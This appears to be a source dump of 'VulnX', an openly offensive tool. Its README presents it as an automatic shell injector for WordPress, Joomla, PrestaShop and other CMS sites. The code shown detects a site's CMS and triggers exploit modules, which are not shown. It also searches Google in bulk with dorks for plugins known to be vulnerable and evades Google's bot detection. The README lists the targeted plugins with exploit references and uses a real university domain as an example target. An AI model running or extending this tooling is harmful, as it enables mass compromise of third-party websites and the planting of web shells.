Execute a system command without closing the vulnx-mode
112 | history Display command-line most important history from the beginning.
113 | variables Prints all previously specified variables.
114 | back move back from current context
115 | """)
116 |
--------------------------------------------------------------------------------
/vulnx.py:
--------------------------------------------------------------------------------
1 |
2 | #!/usr/bin/env python
3 |
4 | from __future__ import (absolute_import, division, print_function)
5 |
6 | """
7 | The vulnx main part.
8 | Author: anouarbensaad
9 | Desc : CMS-Detector and Vulnerability Scanner & exploiter
10 | Copyright (c)
11 | See the file 'LICENSE' for copying permission
12 | """
13 |
14 | from modules.detector import CMS
15 | from modules.dorks.engine import Dork
16 | from modules.dorks.helpers import DorkManual
17 | from modules.cli.cli import CLI
18 | from common.colors import red, green, bg, G, R, W, Y, G, good, bad, run, info, end, que, bannerblue2
19 |
20 | from common.requestUp import random_UserAgent
21 | from common.uriParser import parsing_url as hostd
22 | from common.banner import banner
23 |
24 | import sys
25 | import argparse
26 | import re
27 | import os
28 | import socket
29 | import common
30 | import warnings
31 | import signal
32 | import requests
33 |
34 | HEADERS = {
35 | 'User-Agent': random_UserAgent(),
36 | 'Content-type' : '*/*',
37 | 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
38 | 'Accept-Language': 'en-US,en;q=0.5',
39 | 'Connection': 'keep-alive',
40 | }
41 |
42 | warnings.filterwarnings(
43 | action="ignore", message=".*was already imported", category=UserWarning)
44 | warnings.filterwarnings(action="ignore", category=DeprecationWarning)
45 |
46 | # cleaning screen
47 |
48 | banner()
49 |
50 | def parser_error(errmsg):
51 | print("Usage: python " + sys.argv[0] + " [Options] use -h for help")
52 | print(R + "Error: " + errmsg + W)
53 | sys.exit()
54 |
55 |
56 | def parse_args():
57 | parser = argparse.ArgumentParser(
58 | epilog='\tExample: \r\npython ' + sys.argv[0] + " -u google.com")
59 | parser.error = parser_error
60 | parser._optionals.title = "\nOPTIONS"
61 | parser.add_argument('-u', '--url', help="url target to scan")
62 | parser.add_argument(
63 | '-D', '--dorks', help='search webs with dorks', dest='dorks', type=str)
64 | parser.add_argument(
65 | '-o', '--output', help='specify output directory', required=False)
66 | parser.add_argument('-n', '--number-pages',
67 | help='search dorks number page limit', dest='numberpage', type=int)
68 | parser.add_argument('-i', '--input', help='specify input file of domains to scan', dest='input_file', required=False)
69 | parser.add_argument('-l', '--dork-list', help='list names of dorks exploits', dest='dorkslist',
70 | choices=['wordpress', 'prestashop', 'joomla', 'lokomedia', 'drupal', 'all'])
71 | parser.add_argument('-p', '--ports', help='ports to scan',
72 | dest='scanports', type=int)
73 | # Switches
74 | parser.add_argument('-e', '--exploit', help='searching vulnerability & run exploits',
75 | dest='exploit', action='store_true')
76 | parser.add_argument('--it', help='interactive mode.',
77 | dest='cli', action='store_true')
78 |
79 | parser.add_argument('--cms', help='search cms info[themes,plugins,user,version..]',
80 | dest='cms', action='store_true')
81 |
82 | parser.add_argument('-w', '--web-info', help='web informations gathering',
83 | dest='webinfo', action='store_true')
84 | parser.add_argument('-d', '--domain-info', help='subdomains informations gathering',
85 | dest='subdomains', action='store_true')
86 | parser.add_argument('--dns', help='dns informations gatherings',
87 | dest='dnsdump', action='store_true')
88 |
89 | return parser.parse_args()
90 |
91 | # args declaration
92 | args = parse_args()
93 | # url arg
94 | url = args.url
95 | # input_file
96 | input_file = args.input_file
97 | # Disable SSL related warnings
98 | warnings.filterwarnings('ignore')
99 |
100 | def detection():
101 |
102 | instance = CMS(
103 | url,
104 | headers=HEADERS,
105 | exploit=args.exploit,
106 | domain=args.subdomains,
107 | webinfo=args.webinfo,
108 | serveros=True,
109 | cmsinfo=args.cms,
110 | dnsdump=args.dnsdump,
111 | port=args.scanports
112 | )
113 | instance.instanciate()
114 |
115 | def dork_engine():
116 | if args.dorks:
117 | DEngine = Dork(
118 | exploit=args.dorks,
119 | headers=HEADERS,
120 | pages=(args.numberpage or 1)
121 | )
122 | DEngine.search()
123 |
124 | def dorks_manual():
125 | if args.dorkslist:
126 | DManual = DorkManual(
127 | select=args.dorkslist
128 | )
129 | DManual.list()
130 |
131 | def interactive_cli():
132 | if args.cli:
133 | cli = CLI(headers=HEADERS)
134 | cli.general("")
135 |
136 | def signal_handler(signal, frame):
137 | print("%s(ID: {}) Cleaning up...\n Exiting...".format(signal) % (W))
138 | exit(0)
139 |
140 | signal.signal(signal.SIGINT, signal_handler)
141 |
142 | if __name__ == "__main__":
143 |
144 | dork_engine()
145 | dorks_manual()
146 | interactive_cli()
147 |
148 | if url:
149 | root = url
150 | if root.startswith('http://'):
151 | url = root
152 | elif root.startswith('https://'):
153 | url = root
154 | # url=root.replace('https://','http://')
155 | else:
156 | url = 'https://'+root
157 | print(url)
158 | detection()
159 |
160 | if input_file:
161 | with open(input_file,'r') as urls:
162 | u_array = [url.strip('\n') for url in urls]
163 | try:
164 | for url in u_array:
165 | root = url
166 | #url condition entrypoint
167 | if root.startswith('http'):
168 | url = root
169 | else:
170 | url = 'https://'+root
171 | detection()
172 | urls.close()
173 | except Exception as error:
174 | print('error : '+error)
--------------------------------------------------------------------------------
/modules/detector.py:
--------------------------------------------------------------------------------
1 |
2 | #!/usr/bin/env python
3 |
4 | from __future__ import (absolute_import, division, print_function)
5 |
6 | from common.colors import W,B,Y,good,end,run,info
7 | from modules.executor.Wordpress import Wordpress
8 | from modules.executor.Magento import Magento
9 | from modules.executor.Prestashop import Prestashop
10 | from modules.executor.Lokomedia import Lokomedia
11 | from modules.executor.Lokomedia2 import Lokomedia2
12 | from modules.executor.Drupal import Drupal
13 | from modules.executor.Joomla import Joomla
14 | from modules.executor.Uknown import Uknown
15 | from modules.executor.Opencart import Opencart
16 |
17 | import re,requests,time
18 |
19 |
20 | class CMS(object):
21 |
22 | def __init__(
23 | self,url,
24 | headers=None,
25 | exploit=False,
26 | domain=False,
27 | webinfo=False,
28 | serveros=False,
29 | cmsinfo=False,
30 | dnsdump=False,
31 | port=False
32 | ):
33 |
34 | self.url = url
35 | self.headers = headers
36 | self.exploit = exploit
37 | self.domain = domain
38 | self.webinfo = webinfo
39 | self.serveros = serveros
40 | self.cmsinfo = cmsinfo
41 | self.dnsdump = dnsdump
42 | self.port = port
43 |
44 |
45 | def __getlmcontent__(self):
46 | lm_content = self.url + '/smiley/1.gif'
47 | return requests.get(lm_content, headers=self.headers,verify=False).text
48 |
49 | def __getlm2content__(self):
50 | lm2_content = self.url + '/rss.xml'
51 | return requests.get(lm2_content, headers=self.headers,verify=False).text
52 |
53 | def __getcontent__(self):
54 | return requests.get(self.url, headers=self.headers,verify=False).text
55 |
56 | def __getexploit__(self):
57 | if self.exploit:
58 | return True
59 |
60 | def __getdomain__(self):
61 | if self.domain:
62 | return True
63 |
64 | def __getwebinfo__(self):
65 | if self.webinfo:
66 | return True
67 |
68 | def __getserveros__(self):
69 | if self.serveros:
70 | return True
71 |
72 | def __getcmsinfo__(self):
73 | if self.cmsinfo:
74 | return True
75 |
76 | def __getdnsdump__(self):
77 | if self.dnsdump:
78 | return True
79 |
80 | def __getport__(self):
81 | if self.port:
82 | return self.port
83 |
84 | def detect(self):
85 | """
86 | this module to detect cms & return type of cms.
87 | & make instance of cms.
88 | """
89 | if re.search(re.compile(r'|/media/system/js/|com_content|Joomla!'), self.__getcontent__()):
90 | name = 'Joomla'
91 | return name
92 |
93 | elif re.search(re.compile(r'wp-content|wordpress|xmlrpc.php'), self.__getcontent__()):
94 | name = 'Wordpress'
95 | return name
96 | elif re.search(re.compile(r'Drupal|drupal|sites/all|drupal.org'), self.__getcontent__()):
97 | name = 'Drupal'
98 | return name
99 |
100 | elif re.search(re.compile(r'Prestashop|prestashop'), self.__getcontent__()):
101 | name = 'Prestashop'
102 | return name
103 | elif re.search(re.compile(r'route=product|OpenCart|route=common|catalog/view/theme'), self.__getcontent__()):
104 | name = 'Opencart'
105 | return name
106 |
107 | elif re.search(re.compile(r'Log into Magento Admin Page|name=\"dummy\" id=\"dummy\"|Magento'), self.__getcontent__()):
108 | name = 'Magento'
109 | return name
110 | elif re.search(re.compile(r'image/gif'), self.__getlmcontent__()):
111 | name = 'Lokomedia1'
112 | return name
113 |
114 | elif re.search(re.compile(r'lokomedia'), self.__getlm2content__()):
115 | name = 'Lokomedia2'
116 | return name
117 | else:
118 | name = 'Uknown'
119 | return name
120 |
121 | def serialize(self):
122 | result = dict(
123 | name=self.detect(),
124 | exploit=self.__getexploit__(),
125 | domain=self.__getdomain__(),
126 | webinfo=self.__getwebinfo__(),
127 | serveros=self.__getserveros__(),
128 | cmsinfo=self.__getcmsinfo__(),
129 | dnsdump=self.__getdnsdump__(),
130 | port=self.__getport__()
131 | )
132 | return result
133 |
134 | def instanciate(self):
135 | init_time = time.time()
136 | cms = self.serialize()
137 | if cms['name']:
138 | instance = eval(cms['name'])(self.url,self.headers)
139 | print ('\n {0}[{1}Target{2}]{3} => {4}{5} \n '.format(B,W,B, W, self.url, end))
140 | print ("{0} −−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−".format(W))
141 | print (' {0} looking for cms' .format(run))
142 | print (' {0} CMS : {1}' .format(good , cms['name']))
143 | if cms['exploit']:
144 | print ("{0} −−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−".format(W))
145 | print(' {0} Exploits Scan'.format(run))
146 | instance.exploit()
147 | if cms['webinfo']:
148 | print ("{0} −−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−".format(W))
149 | print(' {0} OS / Server Information'.format(run))
150 | instance.webinfo()
151 | if cms['serveros']:
152 | print ("{0} −−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−".format(W))
153 | print(' {0} Web Hosting Information'.format(run))
154 | instance.serveros()
155 | if cms['cmsinfo']:
156 | print ("{0} −−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−".format(W))
157 | print(' {0} CMS Information Gathering'.format(run))
158 | instance.cmsinfo()
159 | print ("{0} −−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−".format(W))
160 | if cms['dnsdump']:
161 | instance.dnsdump()
162 | if cms['domain']:
163 | instance.domaininfo()
164 | if cms['port']:
165 | instance.ports(cms['port'])
166 | end_time = time.time()
167 | elapsed_time = end_time - init_time
168 | print('\n %s[%s Elapsed Time %s]%s => %.2f seconds ' % (Y,W,Y,W,elapsed_time))
--------------------------------------------------------------------------------
/modules/dorks/engine.py:
--------------------------------------------------------------------------------
1 |
2 | #!/usr/bin/env python
3 |
4 | from __future__ import (absolute_import, division, print_function)
5 |
6 | '''
7 | Dorks Engine Module.
8 | github Repository : http://github.com/anouarbensaad/findorks
9 | '''
10 |
11 | import requests
12 | import re
13 | import time
14 | import random
15 | import os
16 | from common.colors import run, W, end, good, bad, que, info, bannerblue
17 | from common.uriParser import parsing_url as parsify
18 | output_dirdorks = 'logs'+'/Dorks'
19 |
20 | #if not os.path.exists(output_dirdorks): # if the directory doesn't exist
21 | # os.mkdir(output_dirdorks) # create a new directory
22 | # export = open('%s/%s.txt' % (output_dirdorks, filename), 'w')
23 | #else:
24 | # export = open('%s/%s.txt' % (output_dirdorks, filename), 'w')
25 |
26 |
27 | wp_contentdorks = {
28 | 'blaze': 'inurl:"/wp-content/plugins/blaze-slide-show-for-wordpress/"',
29 | 'catpro': 'inurl:"/wp-content/plugins/wp-catpro/"',
30 | 'cherry': 'inurl:"/wp-content/plugins/cherry-plugin/"',
31 | 'dm': 'inurl:"/wp-content/plugins/downloads-manager/"',
32 | 'fromcraft': 'inurl:"/wp-content/plugins/formcraft/file-upload/"',
33 | 'synoptic': 'inurl:"/wp-content/themes/synoptic/lib/avatarupload"',
34 | 'shop': 'inurl:"/wp-content/plugins/wpshop/includes/"',
35 | 'revslider': 'inurl "/wp-content/plugins/revslider/"',
36 | 'adsmanager': 'inurl:"/wp-content/plugins/simple-ads-manager/"',
37 | 'inboundiomarketing': 'inurl:"/wp-content/plugins/inboundio-marketing/"',
38 | 'thumbslider': 'inurl:"/wp-content/plugins/wp-responsive-thumbnail-slider"',
39 | }
40 | wp_admindorks = {
41 | 'wysija': 'inurl:"/wp-admin/admin-post.php?page=wysija_campaigns"',
42 | 'powerzoomer': 'inurl:"/wp-admin/admin.php?page=powerzoomer_manage"',
43 | 'showbiz': 'inurl:"/wp-admin/admin-ajax.php"',
44 | }
45 |
46 | wpajx = {
47 | 'jobmanager': 'inurl:"/jm-ajax/upload_file/"',
48 | }
49 |
50 |
51 | wpindex = {
52 | 'injection': 'inurl:"/index.php/wp-json/wp/"',
53 | }
54 |
55 |
56 | joomla = {
57 | 'comjce': 'inurl:"index.php?option=com_jce"',
58 | 'comfabrik': 'inurl:"index.php?option=com_fabrik"',
59 | 'comjdownloads': 'inurl:"index.php?option=com_fabrik"',
60 | 'comfoxcontact': 'inurl:"index.php?option=com_foxcontact"',
61 | }
62 |
63 | prestashop = {
64 | 'columnadverts': 'inurl:"/modules/columnadverts/"',
65 | 'soopabanners': 'inurl:"/modules/soopabanners/"',
66 | 'vtslide': 'inurl:"/modules/soopabanners/"',
67 | 'simpleslideshow': 'inurl:"/modules/simpleslideshow/"',
68 | 'productpageadverts': 'inurl:"/modules/productpageadverts/"',
69 | 'productpageadvertsb': 'inurl:"/modules/homepageadvertise2/"',
70 | 'jro_homepageadvertise': 'inurl:"/modules/jro_homepageadvertise/"',
71 | 'attributewizardpro': 'inurl:"/modules/attributewizardpro/"',
72 | 'oneattributewizardpro': 'inurl:"/modules/1attributewizardpro/"',
73 | 'attributewizardpro_old': 'inurl:"/modules/attributewizardpro.OLD/"',
74 | 'attributewizardpro_x': 'inurl:"/modules/attributewizardpro_x/"',
75 | 'advancedslider': 'inurl:"/modules/advancedslider/"',
76 | 'cartabandonmentpro': 'inurl:"/modules/cartabandonmentpro/"',
77 | 'cartabandonmentpro_old': 'inurl:"/modules/cartabandonmentproOld/"',
78 | 'videostab': 'inurl:"/modules/videostab/"',
79 | 'wg24themeadministration': 'inurl:"/modules//wg24themeadministration/"',
80 | 'fieldvmegamenu': 'inurl:"/modules/fieldvmegamenu/"',
81 | 'wdoptionpanel': 'inurl:"/modules/wdoptionpanel/"',
82 | 'pk_flexmenu': 'inurl:"/modules/pk_flexmenu/"',
83 | 'pk_vertflexmenu': 'inurl:"/modules/pk_vertflexmenu/"',
84 | 'nvn_export_orders': 'inurl:"/modules/nvn_export_orders/"',
85 | 'tdpsthemeoptionpanel': 'inurl:"/modules/tdpsthemeoptionpanel/"',
86 | 'masseditproduct': 'inurl:"/modules/lib/redactor/"',
87 | }
88 |
89 |
90 | class Dork:
91 |
92 | def __init__(self,headers=None,exploit=None,pages=1):
93 | self.headers = headers
94 | self.exploit = exploit
95 | self.pages = pages
96 |
97 | def __setdork__(self):
98 |
99 | '''
100 | this method to set the right dork from the exploit name.
101 | '''
102 | if self.exploit is None:
103 | return dict(
104 | message='This exploit not valid'
105 | )
106 | else:
107 | if self.exploit in wp_contentdorks:
108 | return dict(
109 | dork=wp_contentdorks[self.exploit]
110 | )
111 | if self.exploit in wp_admindorks:
112 | return dict(
113 | dork=wp_admindorks[self.exploit]
114 | )
115 | if self.exploit in wpajx:
116 | return dict(
117 | dork=wpajx[self.exploit]
118 | )
119 | if self.exploit in wpindex:
120 | return dict(
121 | dork=wpindex[self.exploit]
122 | )
123 | if self.exploit in joomla:
124 | return dict(
125 | dork=joomla[self.exploit]
126 | )
127 | if self.exploit in prestashop:
128 | return dict(
129 | dork=prestashop[self.exploit]
130 | )
131 |
132 | def __finddork__(self,content):
133 | webs = []
134 | if self.exploit in wp_contentdorks:
135 | dorks = re.findall(re.compile(
136 | r'https?://+?\w+?[a-zA-Z0-9-_.]+?[a-zA-Z0-9-_.]?\w+\.\w+/?/wp-content/plugins/\w+'), content)
137 | if len(dorks) > 0:
138 | for web in dorks:
139 | if web not in webs:
140 | webs.append(web)
141 | for i in range(len(webs)):
142 | domains = parsify(webs[i])
143 | print(' {0} URL : {1} ' .format(good, webs[i]))
144 | print(' {0} DOMAIN: {1} ' .format(good, domains))
145 | elif self.exploit in wp_admindorks:
146 | dorks = re.findall(re.compile(
147 | r'https?://+?\w+?[a-zA-Z0-9-_.]+?[a-zA-Z0-9-_.]?\w+\.\w+/?/wp-admin/\w+'), content)
148 | if len(dorks) > 0:
149 | for web in dorks:
150 | if web not in webs:
151 | webs.append(web)
152 | for i in range(len(webs)):
153 | domains = parsify(webs[i])
154 | print(' {0} URL : {1} ' .format(good, webs[i]))
155 | print(' {0} DOMAIN: {1} ' .format(good, domains))
156 | elif self.exploit in wpajx:
157 | dorks = re.findall(re.compile(
158 | r'https?://+?\w+?[a-zA-Z0-9-_.]+?[a-zA-Z0-9-_.]?\w+\.\w+/?/jm-ajax/upload_file/'), content)
159 | if len(dorks) > 0:
160 | for web in dorks:
161 | if web not in webs:
162 | webs.append(web)
163 | for i in range(len(webs)):
164 | domains = parsify(webs[i])
165 | print(' {0} URL : {1} ' .format(good, webs[i]))
166 | print(' {0} DOMAIN: {1} ' .format(good, domains))
167 | elif self.exploit in wpindex:
168 | dorks = re.findall(re.compile(
169 | r'https?://+?\w+?[a-zA-Z0-9-_.]+?[a-zA-Z0-9-_.]?\w+\.\w+/index.php/wp-json/wp/'), content)
170 | if len(dorks) > 0:
171 | for web in dorks:
172 | if web not in webs:
173 | webs.append(web)
174 | for i in range(len(webs)):
175 | domains = parsify(webs[i])
176 | print(' {0} URL : {1} ' .format(good, webs[i]))
177 | print(' {0} DOMAIN: {1} ' .format(good, domains))
178 | elif self.exploit in joomla:
179 | dorks = re.findall(re.compile(
180 | r'https?://+?\w+?[a-zA-Z0-9-_.]+?[a-zA-Z0-9-_.]?\w+\.\w+/index.php?option=com_jce'), content)
181 | if len(dorks) > 0:
182 | for web in dorks:
183 | if web not in webs:
184 | webs.append(web)
185 | for i in range(len(webs)):
186 | domains = parsify(webs[i])
187 | print(' {0} URL : {1} ' .format(good, webs[i]))
188 | print(' {0} DOMAIN: {1} ' .format(good, domains))
189 | elif self.exploit in prestashop:
190 | dorks = re.findall(re.compile(
191 | r'https?://+?\w+?[a-zA-Z0-9-_.]+?[a-zA-Z0-9-_.]?\w+\.\w+/?/modules/\w+'), content)
192 | if len(dorks) > 0:
193 | for web in dorks:
194 | if web not in webs:
195 | webs.append(web)
196 | for i in range(len(webs)):
197 | domains = parsify(webs[i])
198 | print(' {0} URL : {1} ' .format(good, webs[i]))
199 | print(' {0} DOMAIN: {1} ' .format(good, domains))
200 |
201 |
202 | def detect_captcha(self,content):
203 |
204 | '''
205 | this method to detect if there is a captcha or not.
206 | - randomize the time of query
207 | - randomize the header and user-agent. to skip the detection.
208 | '''
209 | if (re.findall(re.compile(r'CAPTCHA'), content)):
210 | return True
211 | else:
212 | return False
213 |
214 | def _google_singlepage_(self):
215 |
216 | print(' {0} Page N° 1 '.format(info))
217 | set_dork = self.__setdork__()
218 | google_query = 'https://www.google.com/search?q=' + set_dork['dork']
219 | print(' {0} searching for : {1}' .format(que, google_query))
220 | response = requests.get(google_query,headers=self.headers,verify=False).text
221 | return response
222 |
223 | def _google_multipage_(self,num_p):
224 |
225 | print(' {0} Page n° {1} ' .format(info, num_p/10+1))
226 | set_dork = self.__setdork__()
227 | google_query = 'https://www.google.com/search?q=' + set_dork['dork']+'&start='+str(num_p)
228 | print(' %s searching for : %s' % (que, google_query))
229 | response = requests.get(google_query, headers=self.headers).text
230 | return response
231 |
232 | def search(self):
233 | pages = self.pages*10
234 | try:
235 | for number_page in range(0,pages,10):
236 | init_time = time.time()
237 | if number_page == 0:
238 | time.sleep(random.randint(1,2))
239 | if self.detect_captcha(self._google_singlepage_()):
240 | print(' {0} Bot Detected The block will expire shortly' .format(bad))
241 | else:
242 | self.__finddork__(self._google_singlepage_())
243 | else:
244 | time.sleep(random.randint(3,5))
245 | if self.detect_captcha(self._google_multipage_(number_page)):
246 | print(' {0} Bot Detected The block will expire shortly' .format(bad))
247 | else:
248 | self.__finddork__(self._google_multipage_(number_page))
249 | end_time = time.time()
250 | elapsed_time = end_time - init_time
251 | print(' %s Elapsed Time : %.2f seconds' % (info, elapsed_time))
252 | except Exception as msg:
253 | print(' %s exploitname %s ' % (bad, msg))
254 | number_page = +10
255 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | VulnX
6 |
7 |
8 |
9 | Vulnx 🕷️ is An Intelligent Bot Auto Shell Injector that detects vulnerabilities in multiple types of Cms
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 | 
29 |
30 | https://github.com/anouarbensaad/vulnx/archive/master.zip
31 |
32 | VulnX Wiki •
33 | How To Use •
34 | Compatibility •
35 | Library •
36 |
37 |
38 | **Vulnx** is An Intelligent Bot Auto [Shell Injector](https://github.com/anouarbensaad/vulnx/wiki/Usage#run-exploits) that detects vulnerabilities in multiple types of Cms, fast cms detection,informations gathering and vulnerabilitie Scanning of the target like subdomains, ipaddresses, country, org, timezone, region, ans and more ...
39 |
40 | Instead of injecting each and every shell manually like all the other tools do, VulnX analyses the target website checking the presence of a vulnerabilitie if so the shell will be Injected.searching urls with [dorks](https://github.com/anouarbensaad/vulnx/wiki/Usage#searching-dorks) Tool.
41 |
42 | -------------------------------------
43 |
44 | ### _🕷️ Features_
45 |
46 | - Detects cms (wordpress, joomla, prestashop, drupal, opencart, magento, lokomedia)
47 | - Target informations gatherings
48 | - Target Subdomains gathering
49 | - Multi-threading on demand
50 | - Checks for vulnerabilities
51 | - Auto shell injector
52 | - Exploit dork searcher
53 | - [`Ports Scan`](https://user-images.githubusercontent.com/23563528/58365946-40a83a00-7ec3-11e9-87c5-055ed67109b7.jpg) High Level
54 | - [`Dns`](https://user-images.githubusercontent.com/23563528/58365784-09388e00-7ec1-11e9-8a05-e71fa39f146d.png)-Servers Dump
55 | - Input multiple target to scan.
56 | - Dorks Listing by Name& by ExploitName.
57 | - Export multiple target from Dorks into a logfile.
58 |
59 | -------------------------------------
60 |
61 |
62 | ### _🕷️ DNS-Map-Results_
63 |
64 | To do this,run a scan with the --dns flag and -d for subdomains.
65 | To generate a map of isetso.rnu.tn, you can run the command
66 | `vulnx -u isetso.rnu.tn --dns -d --output $PATH`in a new terminal.
67 |
68 | `$PATH` : Where the graphs results will be stored.
69 |
70 | 
71 |
72 |
73 | Let's generates an image displaying target Subdomains,MX & DNS data.
74 |
75 |
76 | 
77 |
78 | -------------------------------------
79 |
80 | ### _🕷️ Exploits_
81 |
82 |
83 |
84 |
85 | ##### Joomla
86 | - [x] [Com Jce ]('#')
87 | - [x] [Com Jwallpapers ]('#')
88 | - [x] [Com Jdownloads ]('#')
89 | - [x] [Com Jdownloads2 ]('#')
90 | - [x] [Com Weblinks ]('#')
91 | - [x] [Com Fabrik ]('#')
92 | - [x] [Com Fabrik2 ]('#')
93 | - [x] [Com Jdownloads Index]('#')
94 | - [x] [Com Foxcontact ]('#')
95 | - [x] [Com Blog ]('#')
96 | - [x] [Com Users ]('#')
97 | - [x] [Com Ads Manager ]('#')
98 | - [x] [Com Sexycontactform]('#')
99 | - [x] [Com Media ]('#')
100 | - [x] [Mod_simplefileupload]('#')
101 | - [x] [Com Facileforms ]('#')
102 | - [x] [Com Facileforms ]('#')
103 | - [x] [Com extplorer ]('#')
104 |
105 | ##### Wordpress
106 | - [x] [Simple Ads Manager ](https://www.exploit-db.com/exploits/36614)
107 | - [x] [InBoundio Marketing ](https://www.rapid7.com/db/modules/exploit/unix/webapp/wp_inboundio_marketing_file_upload)
108 | - [x] [WPshop eCommerce ](https://www.rapid7.com/db/modules/exploit/unix/webapp/wp_wpshop_ecommerce_file_upload)
109 | - [x] [Synoptic ](https://cxsecurity.com/issue/WLB-2017030099)
110 | - [x] [Showbiz Pro ](https://www.exploit-db.com/exploits/35385)
111 | - [x] [Job Manager ](https://www.exploit-db.com/exploits/45031)
112 | - [x] [Formcraft ](https://www.exploit-db.com/exploits/30002)
113 | - [x] [PowerZoom ](http://www.exploit4arab.org/exploits/399)
114 | - [x] [Download Manager ](https://www.exploit-db.com/exploits/35533)
115 | - [x] [CherryFramework ](https://www.exploit-db.com/exploits/45896)
116 | - [x] [Catpro ](https://vulners.com/zdt/1337DAY-ID-20256)
117 | - [x] [Blaze SlideShow ](https://0day.today/exploits/18500)
118 | - [x] [Wysija-Newsletters ](https://www.exploit-db.com/exploits/33991)
119 |
120 | ##### Drupal
121 | - [ ] [Add Admin ]('#')
122 | - [ ] [Drupal BruteForcer ]('#')
123 | - [ ] [Drupal Geddon2 ]('#')
124 |
125 | ##### PrestaShop
126 | - [x] [attributewizardpro ]('#')
127 | - [x] [columnadverts ]('#')
128 | - [ ] [soopamobile ]('#')
129 | - [x] [pk_flexmenu ]('#')
130 | - [x] [pk_vertflexmenu ]('#')
131 | - [x] [nvn_export_orders ]('#')
132 | - [x] [megamenu ]('#')
133 | - [x] [tdpsthemeoptionpanel ]('#')
134 | - [ ] [psmodthemeoptionpanel]('#')
135 | - [x] [masseditproduct ]('#')
136 | - [ ] [blocktestimonial ]('#')
137 | - [x] [soopabanners ]('#')
138 | - [x] [Vtermslideshow ]('#')
139 | - [x] [simpleslideshow ]('#')
140 | - [x] [productpageadverts ]('#')
141 | - [x] [homepageadvertise ]('#')
142 | - [ ] [homepageadvertise2 ]('#')
143 | - [x] [jro_homepageadvertise]('#')
144 | - [x] [advancedslider ]('#')
145 | - [x] [cartabandonmentpro ]('#')
146 | - [x] [cartabandonmentproOld]('#')
147 | - [x] [videostab ]('#')
148 | - [x] [wg24themeadministration]('#')
149 | - [x] [fieldvmegamenu ]('#')
150 | - [x] [wdoptionpanel ]('#')
151 |
152 | ##### Opencart
153 | - [ ] [Opencart BruteForce]('#')
154 |
155 |
156 | -------------------------------------
157 |
158 | ### _🕷️ VulnxMode_
159 | `NEW`
160 | vulnx now have an interactive mode.
161 | ***URLSET***
162 |
163 | 
164 |
165 | ***DORKSET***
166 |
167 | 
168 |
169 | -------------------------------------
170 |
171 |
172 |
173 | ### _🕷️ Available command line options_
174 | [`READ VULNX WIKI`](https://github.com/anouarbensaad/vulnx/wiki/Usage)
175 |
176 | usage: vulnx [options]
177 |
178 | -u --url url target
179 | -D --dorks search webs with dorks
180 | -o --output specify output directory
181 | -t --timeout http requests timeout
182 | -c --cms-info search cms info[themes,plugins,user,version..]
183 | -e --exploit searching vulnerability & run exploits
184 | -w --web-info web informations gathering
185 | -d --domain-info subdomains informations gathering
186 | -l, --dork-list list names of dorks exploits
187 | -n, --number-page number page of search engine(Google)
188 | -p, --ports ports to scan
189 | -i, --input specify domains to scan from an input file
190 | --threads number of threads
191 | --dns dns informations gathering
192 |
193 | -------------------------------------
194 |
195 | ### _🕷️ Docker_
196 |
197 | VulnX in DOCKER !!.
198 |
199 | ```bash
200 | $ git clone https://github.com/anouarbensaad/VulnX.git
201 | $ cd VulnX
202 | $ docker build -t vulnx ./docker/
203 | $ docker run -it --name vulnx vulnx:latest -u http://example.com
204 | ```
205 |
206 | run vulnx container in interactive mode
207 |
208 |
209 | 
210 |
211 |
212 | to view logfiles mount it in a volume like so:
213 |
214 | ```bash
215 | $ docker run -it --name vulnx -v "$PWD/logs:/VulnX/logs" vulnx:latest -u http://example.com
216 | ```
217 |
218 | change the [mounting directory](https://github.com/anouarbensaad/vulnx/blob/master/docker/Dockerfile#L46)..
219 |
220 | ```Dockerfile
221 | VOLUME [ "$PATH" ]
222 | ```
223 |
224 | -------------------------------------
225 |
226 | ### _🕷️ Install vulnx on Ubuntu_
227 |
228 |
229 | ```bash
230 | $ git clone https://github.com/anouarbensaad/vulnx.git
231 | $ cd VulnX
232 | $ chmod +x install.sh
233 | $ ./install.sh
234 | ```
235 | Now run `vulnx`
236 |
237 | 
238 |
239 |
240 | ### _🕷️ Install vulnx on Termux_
241 |
242 | ```BASH
243 | $ pkg update
244 | $ pkg install -y git
245 | $ git clone http://github.com/anouarbensaad/vulnx
246 | $ cd vulnx
247 | $ chmod +x install.sh
248 | $ ./install.sh
249 | ```
250 | [**CLICK HERE TO SHOW THE RESULT**](https://user-images.githubusercontent.com/23563528/58364091-98847800-7ea6-11e9-9a9a-c27717e4dda1.png)
251 |
252 |
253 | ### _🕷️ Install vulnx in Windows_
254 |
255 | - [click here](https://github.com/anouarbensaad/vulnx/archive/master.zip) to download vulnx
256 | - download and install python3
257 | - unzip **vulnx-master.zip** in ***c:/***
258 | - open the command prompt **cmd**.
259 | ```
260 | > cd c:/vulnx-master
261 | > python vulnx.py
262 | ```
263 |
264 | -------------------------------------
265 |
266 | ##### example command with options : settimeout=3 , cms-gathering = all , -d subdomains-gathering , run --exploits
267 | `vulnx -u http://example.com --timeout 3 -c all -d -w --exploit`
268 |
269 | ##### example command for searching dorks : -D or --dorks , -l --list-dorks
270 | `vulnx --list-dorks`
271 | return table of exploits name.
272 | `vulnx -D blaze`
273 | return urls found with blaze dork
274 |
275 | -------------------------------------
276 |
277 | ### _🕷️ Versions_
278 | - [v1.9](https://github.com/anouarbensaad/vulnx/releases/tag/v1.9)
279 | - [v1.8](https://github.com/anouarbensaad/vulnx/releases/tag/v1.8)
280 | - [v1.7](https://github.com/anouarbensaad/vulnx/releases/tag/v1.7)
281 | - [v1.6](https://github.com/anouarbensaad/vulnx/releases/tag/v1.6)
282 | - [v1.5](https://github.com/anouarbensaad/vulnx/releases/tag/v1.5)
283 | - [v1.4](https://github.com/anouarbensaad/vulnx/releases/tag/v1.4)
284 | - [v1.3](https://github.com/anouarbensaad/vulnx/releases/tag/v1.3)
285 | - [v1.2](https://github.com/anouarbensaad/vulnx/releases/tag/v1.2)
